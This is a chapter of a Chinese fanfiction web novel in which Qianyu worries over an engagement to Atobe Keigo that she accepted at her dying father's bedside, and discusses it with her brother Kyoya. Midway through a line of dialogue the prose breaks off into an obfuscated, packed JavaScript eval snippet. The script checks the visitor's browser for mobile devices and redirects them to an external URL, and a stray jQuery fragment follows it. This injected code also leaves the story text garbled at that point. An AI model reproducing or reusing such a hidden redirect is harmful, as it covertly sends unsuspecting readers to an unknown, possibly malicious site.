19.19

作品:《迹部君颇有心机

    千羽觉得这番言辞的夸张程度,不是在撒谎,简直就是在诈骗了。


    但她现在的身份,仅仅只是一名新入职的小员工,在外人看来,她和迹部景吾这位掌握着最顶端决策权的副会长有云泥之别,贸然插话是不懂规矩,当众反驳更是大逆不道。


    所以,面对这番堂而皇之的“诈骗”,她无法进行任何有效的“反诈”措施。


    ……算了,他爱立人设就让他立吧。


    今天就稍微宠他一下。


    等几个月之后解除婚约,看他怎么收场。


    他自己惹出来的祸,由他自己收拾。


    反正她是不会给他兜底的。


    千羽事不关己地挑出一只螃蟹,慢条斯理地拆蟹壳,剪蟹腿,抿蟹肉。


    鲜嫩细滑的肉质弹在唇齿间,最醇香的本味,缓缓地包裹着味觉释放。


    一只蟹吞吃入腹,她按照螃蟹生前的形状,将蟹壳依肢体顺序摆在餐盘里,留螃蟹一个全尸,欣赏自己这完美的剥蟹手法,就像悬疑剧集中凶手欣赏自己的作案现场。


    邻桌好不容易逮到个大八卦,自然不肯这么轻易善罢甘休,七嘴八舌,叽叽喳喳,围绕迹部景吾发问就像攒了十万个为什么的好奇宝宝。


    听着听着,到后面,千羽已经对迹部景吾的各种深情发言听麻了。


    实话说,今天还是她第一次听到迹部景吾对外的公开说辞。以“他们的婚约”为题,文思泉涌写就的一篇命题小作文。


    行文逻辑通畅(前后文目前暂无bug),情感真挚(不愧是社交场老手演技就是厉害),甚至还达到一箭双雕的目的。


    当一个男人想要博取外界好感,展现自身正直可靠的积极形象时,无疑没有比深爱妻子、只对一人一往情深这类标签更趁手,更无本万利的工具。


    无论男的女的老的小的,一旦被“深情好男人”光环迷了眼,就马上走不动道了,自发自愿地全都吻了上来。


    听起来和现实是两模两样。


    实际上和真相也毫不相干。


    这个“故事”没被歪曲过的原始版本,在场知情者仅限于她和迹部景吾两位当事人。


    “故事”的开端倒是非常朴实无华。


    没有什么所谓“男方为爱深情等待”这类花里胡哨的情感纠葛。


    只是很简单地始于父亲临终前的一句话。


    父亲突发心脏病的情况并非第一次了。经过长时间治疗仍不见好转,加之这次病情来得又凶又急,家里人多少对最坏的后果有了心理准备。


    因此,当父亲的主治医生转达父亲想见一见几个孩子时,她和哥哥姐姐们一律停下工作,彼此匆匆联系几句,立即驱车赶往医院。


    当她踏进病房时,围着的人已不少,偌大的空间略显拥挤。


    人群中,她一眼就望见迹部景吾那身深蓝色的西装,以及绷着西装的挺括肩背。


    千羽惊讶地发现,迹部景吾一家居然比他们几个亲生子女来得还要早。


    一见到她来,父亲颤巍巍地对她招了招手,让她去到他身边。


    为了一大家子操劳半辈子的老父亲,此时已经病入膏肓。病床上,他左手拉着她,右手拉着老朋友的孩子迹部景吾,含泪交待:


    依自己近几年的身体情况,他知道迟早会有这一天。家族交到他手里,几十年顺顺当当,从无重大失误,也算对得起祖辈。临到最后一刻,除了自己的孩子们,也没什么放不下的了。


    几个儿女之中,大女儿已成家多年,三个儿子也已长大成人,能够独当一面。唯独担心的就是她这个小女儿,希望自己百年之后,迹部景吾能够代替他好好照顾她。


    父亲并没有把用意摆到明面上,但话里究竟有什么弦外音,在场没有人会不懂。


    望着父亲灰败的面容,她无法狠心反驳。


    她哽咽道:“爸爸你放心,我都听你的。”


    可能实在不忍心老人家含恨离世,于是在她表态之后,迹部景吾也紧随其后道:“伯父你放心,我会好好照顾千羽。”


    父亲感动得连连点头,自觉再无牵挂,放心地将眼睛一闭,头一歪,就此含笑九泉。


    之后便是处理父亲后事的繁琐流程。举办悼念会,安葬,请相熟的寺庙主持举行仪式,酬谢宾客……凡此种种,作为新任话事人的大哥带领着他们,安排得十分尽心和妥帖。


    像他们这种具有相当社会地位的人家,红白事向来被视为社交场合的一种。


    身为主家一员,即便是最小的孩子,也不能光坐在一边吃干饭。她要跟着哥哥姐姐们迎来送往,连轴转地打下手。


    身体疲乏,心里也麻木,像是被抽走一切情绪,只是留下干涸的一个空洞。偶尔得闲,脑子更是木空空一片,想不起来其他杂七杂八的。


    理所应当地把父亲病床前的允诺抛到脑后。


    更何况,只是宽慰父亲的一句话而已。


    嘴上说说,她也根本不曾多当一回事。


    她原本以为大家——这里特指迹部景吾,都只是出于临终关怀随便糊弄两下。


    直到丧事结束后的某一天,迹部家最具资历的管家Micheal先生,亲自上她家来跑一趟,满脸喜色地亲手把订婚礼服“护送”到她手上时,她懵了片刻,才在大哥的催促下反应过来。


    ——啊?!


    ……不是哥们。


    你来真的?!


    ……


    千羽很愁,千羽十分发愁。


    她完全没有料到,迹部景吾一家人,竟然对父亲病床前的一句安慰话如此上心。


    但她又不能怪对方什么。


    追究起来,其实还是源于她自己的过失。事态发展到这个地步,她要担责八成。


    是她主观意识太强烈,单纯地认为迹部景吾理应跟她态度一致,也觉得顺从父亲心意只是事从权宜。加上那段时间事忙,这件事她不放在心上,也没能及时和他说明。


    这样一来,后果就变得严重了。


    他,包括巽叔叔和瑛子阿姨,误以为她是实打实地想和他结婚,开始拿她当正经儿媳对待,诚心诚意地开始准备所有流程。


    不过坦白讲,就算她的允诺是真心话,那她想怎样,他便任由她怎样吗?


    迹部景吾明明不喜欢她。


    她也不匹配他心目中勾勒出的妻子形象。


    他怎么就不对此提出些异议呢?


    违背自身意愿,被强架着摁头做自己不乐意的事,怎么看都不符合他以往老挂在嘴边的“帝王华丽美学”。


    她了解迹部景吾。


    他从来不是因情势所逼便低头退让的庸人。绝不屈从于任何挟制、逼迫和掣肘。


    这家伙,不知道暗戳戳打什么算盘。


    嘀嘀咕咕一合计,发现事情又偏到更为复杂的轨道。


    千羽在花园凉亭下的一张石桌旁枯坐,对着送来的几件礼服发呆。


    Michael管家说看她这段时间忙里忙外,不好用琐事打扰她,所以少爷按照她的喜好先初步挑选了样衣,最终定哪件由她做主。


    如果她都不喜欢,或者有自己中意的设计师和款式,尽可以同夫人或者少爷提要求。她是未来的女主人,即将成为他们的家人,请她不必顾及太多,他们一定满足她的心愿。


    ——哎,都让她挑礼服了,订婚还远吗?


    千羽深深地叹了一口气。她懒洋洋地趴在石桌上。一根食指像戳棉花糖一样,弹弹蹦蹦地戳弄着礼服的布料。


    “怎么了,一个人闷闷地坐在这里?”


    地板擦刮轻微的响动,来人开着玩笑:“是在发愁哪件礼服穿上身更好看么?”


    千羽听得出是谁,一家人的声音总带着最熟悉的标签。她把头歪向另一边,有些疲倦地拖声拖气说:“三哥,你来了——来了——来了——了——”


    凤镜夜笑了笑,从桌上随手捡一个茶杯,提起茶壶汩汩倾倒出半杯红茶。


    她不说话,继续弹弹蹦蹦地戳礼服。


    凤镜夜很快明白过来,一语道破:“在为自己订婚的事情愁眉苦脸呢?”


    凤千羽有气无力地点点头。


    镜夜:“不想订婚?”


    千羽:“我就没想过会订这桩婚。”


    镜夜:“但你亲口在父亲面前答应他的。”


    千羽又叹气:“那还不是为了让父亲走得安心。他就这一个心愿,我不顺着说,难道还要忤逆他吗?当时的情况,你们也不是不……”


    絮絮叨叨念到半截,她顿时了悟,直起身震惊地看着他,“啊,你们不会都以为我是真心实意地想和他结婚吧?”


    镜夜推了一下眼镜,“至少迹部君本人肯定这么认为。”


    千羽又蔫得趴下去了,小声蛐蛐迹部景吾:“好烦。知道他这人是挺自信,但凡事总要有个度吧……”不讲道理的抱怨,但她就是想发发牢骚。


    镜夜:“听起来你对这桩婚事不满意?”


    千羽张了张嘴,话语堵在喉间。


    她发现自己竟然选不出一个确切的答案。


    说满意,必然不沾边;说不满意,又不太对劲。总觉得靠哪一头都有失偏颇,但她自己却搞不清楚原因。不上不下地吊着,才最难受。


    镜夜见她许久不回答,又说:“既然你不想订婚,为什么不直接同大哥说明呢?”


    她话题一拐,反问:“三哥,如果你是我,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472132|184146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你会接受这桩婚事吗?”


    镜夜斩钉截铁:“当然。”他笑道,“如果我是你,我应该已经和迹部君填完婚姻届,收拾收拾准备去度蜜月。”


    千羽:“……哦,忘了,你从小的婚姻规划就是和对家族有助力的世家千金结婚。”


    如果换作是他,必然不会像她一样烦恼,只会认定迹部景吾,这位迹部家唯一的继承人,是打着探照灯都四处难薅的顶级结婚对象。一旦抓住,就该抓稳抓牢,死不松手。


    相比起仅在医疗领域大放异彩的凤家,掌控国民经济命脉的迹部财团,那是能带领家族通往更高处的阶梯,是扶家族直上青云的东风。


    倒也没有批判他的意思,她甚至还隐约有些心生羡慕。如果自己能更理性些,更冷酷点,学着他也坚实树立起这种婚姻观,那她现在就不用独坐花园中,埋头抠脑壳了。


    镜夜抿了一口红茶,条分缕析道:


    “虽然事实讨论起来略显无情。但眼下父亲去世不久,大哥也才接班。家族处于动荡的风口浪尖,重新进入正轨并不容易。”


    “我们需要一个更强有力的外援稳住局面。同时,我们也需要一个和迹部家接续关系的桥梁。”


    “所以如果是我,我会心甘情愿地承担起这个角色,”他温和地摸了摸她的发顶,“可我不会劝你去接受它。”


    千羽也不是不能明白他的用心:“我知道。这也是我没有找大哥说明情况的原因。”


    在独自发呆前,她在大哥书房外徘徊许久。


    心里的鼓七上八下敲好多次,总算做足将真实想法和盘托出的打算,也预估了她事到临头的反悔,可能会面临大哥杀气腾腾输出一阵猛烈的骤雨疾风。


    没关系,这是她的选择。


    一切后果应该由她承受。


    然而,当她看见巽叔叔的秘书,从大哥的书房走出来,看见书桌上放着崭新的合同时,早已翻来覆去修改无数遍的腹稿,顷刻间像被一把大火烧得一干二净。


    她发现自己并不像想象中那样,充满着无畏的勇气一往无前。面对盘根错节的形势,她也会临阵退缩,也会怯懦地瞻前顾后。


    如果父亲还活着就好了。


    她有些难过地感慨。静悄悄站在大哥书房门外,鼻子一酸,差点又想掉眼泪。


    如果父亲还在世,此时,只需他提溜着她上迹部家道歉,当着迹部景吾一家人的面,装作不留情面地阴沉起脸,严加斥责她,如何如何幼稚任性,如何如何肆意妄为,家里人把她惯得如何如何不知分寸。


    不论父亲教训什么,她就默不作声地配合,乖巧站到一边面壁,双手绞在身前,低头呜呜嘤嘤当只蔫巴委屈小鹌鹑。


    接下来,父亲会转头和颜悦色地对巽叔叔和瑛子阿姨赔礼,一副恨铁不成钢的模样道:“两位请不要动气。这孩子被我惯得实在太不懂事,婚姻大事竟然如此儿戏。怪我这个做父亲的没管教好。回去我一定重罚她。”


    翻译一下,意思不难理解:我的孩子我已经狠狠骂过了,你们就不许再和她计较了喔。


    不出一个小时,便能了事退场。


    但短暂逃避现实的假设,只能留存于空想。


    父亲尚在时,她还能是个莽撞的孩子。


    父亲不在了,她便不能再是个孩子了。


    胸腔间慢慢有些发胀,肋骨每处空隙都像鼓满一团黏浊的流体。千羽端正地挺直了脊背,深深呼气、吸气好几次,仍然感觉堵得慌。


    她有点坐不住了,索性站起来,垂头踱来踱去。鞋跟重重锤击脚下的石砖。


    千羽焦灼难耐,镜夜倒心平气和:“千羽,不想知道迹部君本人是怎么考虑的吗?”


    提起这件事她便又一阵叹气,“我就是不知道他怎么想的。你说,他要是不乐意,怎么就不表示一下自己的意见呢?”千羽忽然福至心灵,“三哥,难道迹部君跟你说过他的计划?”


    “这倒没有,”他啜了红茶,观赏茶杯上的花纹,“不过我有一点能确定。你说错了,迹部君不会不乐意订这个婚。”


    “我想,站在迹部君的立场,你在父亲临终前承诺愿意嫁给他,对他而言无异于天上掉馅饼,还精准砸进他怀里。不赶紧伸手接着,实在有违天意。”镜夜笑了一声,“他给你选订婚礼服时,说不准还会翻来覆去,原声原味地品味你这句话。”


    千羽:“?”


    千羽坐到镜夜身边,好奇的眼睛瞪得像铜铃,“你知道得这么清楚,三哥,你晚上蹲迹部床底下了?”


    “……别瞎说,”镜夜屈指敲了一下她的前额,“你刚从德国回来的头一月,迹部君有一次为了打听你,专门请我去打过高尔夫,这件事你知道吗?”